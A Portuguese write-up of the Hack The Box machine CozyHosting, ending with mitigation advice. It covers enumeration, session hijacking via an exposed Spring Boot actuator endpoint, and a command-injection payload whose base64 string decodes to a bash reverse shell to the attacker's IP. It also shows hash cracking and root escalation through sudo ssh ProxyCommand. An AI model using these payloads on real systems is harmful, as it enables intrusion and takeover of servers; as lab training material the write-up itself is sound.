CozyHosting
Introdução
Máquina do Hack The Box: https://app.hackthebox.com/machines/CozyHosting IP alvo: 10.10.11.230
Escaneamento
O primeiro passo é escanear a máquina em busca de portas e serviços abertos. Para isso foi usado o nmap.
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.230 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.230
Após o resultado do nmap, foram encontradas três portas abertas na máquina. Em seguida, o IP foi adicionado ao /etc/hosts para acessar cozyhosting.htb.
Enumeração
Porta 80
Fuzzing de Diretórios
gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/dirb/big.txt -t 100 --delay 1s -e --no-error -r
http://cozyhosting.htb/login
http://cozyhosting.htb/error
Esse erro é comum na aplicação web Spring Boot.
Fuzzing de Endpoints
gobuster dir -u http://cozyhosting.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/spring-boot.txt -t 100 --delay 1s -e --no-error -r
Foi usada a wordlist do seclists específica para o Spring Boot.
http://cozyhosting.htb/actuator
http://cozyhosting.htb/actuator/sessions

Login Dashboard
O endpoint /actuator/sessions expõe o ID de sessão (JSESSIONID) de um usuário autenticado.

Exploração
Sequestro de sessão (Spring Boot Actuator) + Injeção de comando (/executessh)
As notas originais não detalham textualmente cada etapa desta fase — apenas os prints abaixo foram registrados. Com base neles e no fluxo confirmado desta máquina: o JSESSIONID exposto pelo endpoint /actuator/sessions foi usado para sequestrar a sessão de um usuário autenticado e acessar o painel administrativo (Admin Dashboard) da aplicação. Esse painel possui uma funcionalidade de execução de comandos SSH (endpoint /executessh) vulnerável a injeção de comando, o que permitiu a execução de comandos arbitrários no servidor.
Payload utilizado para obter uma reverse shell (comando em base64, decodificado e executado via bash):
;echo${IFS}"<PAYLOAD EM BASE64>"|base64${IFS}-d|bash;
;echo${IFS}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNjYvNDQzMyAwPiYxCg=="|base64${IFS}-d|bash;

Pós-exploração
Escalação de Privilégios (usuário josh)
Foi encontrado um arquivo .jar.
Foi instalado o jd-gui para analisar o conteúdo do arquivo .jar.
Com as credenciais encontradas dentro do arquivo .jar, o próximo passo foi acessar o PostgreSQL.
psql -h 127.0.0.1 -U postgres
Comandos básicos do PostgreSQL podem ser vistos nesse site.
Explorando o Postgres
\c cozyhosting
select * from users;
Quebrando o hash
john hash-admin --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
Com a senha do hash quebrada, foi feito login via SSH com o usuário josh.
ssh josh@10.10.11.230
manchesterunited

Escalação de Privilégios (root)
sudo -l
Consultando o site GTFOBins, foi possível escalar privilégios para root abusando do sudo ssh com a opção ProxyCommand.
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Anexos
As notas originais mencionam um script em Python criado para automatizar a obtenção de shell nessa máquina, chamado cozyhosting-getshell.py. O bloco de código correspondente estava vazio nas notas originais — o conteúdo do script não foi registrado.
Mitigação
- Restringir o acesso aos endpoints do Spring Boot Actuator (ex.:
/actuator/sessions) ou desabilitá-los em produção, evitando a exposição de IDs de sessão de usuários autenticados. - Validar e sanitizar rigorosamente qualquer entrada de usuário usada para montar comandos executados no sistema operacional (ex.: o campo utilizado pela funcionalidade de SSH no painel administrativo), prevenindo injeção de comando.
- Não armazenar credenciais de banco de dados em texto claro dentro de artefatos distribuíveis (arquivos
.jar); usar variáveis de ambiente ou um cofre de segredos. - Aplicar políticas de senha forte para dificultar a quebra de hashes com wordlists comuns (ex.: rockyou.txt).
- Revisar e restringir entradas do
sudoers, evitando permitir comandos comosshcom opções livres (ex.:ProxyCommand), que podem ser abusadas para escalonamento de privilégios (ver GTFOBins).
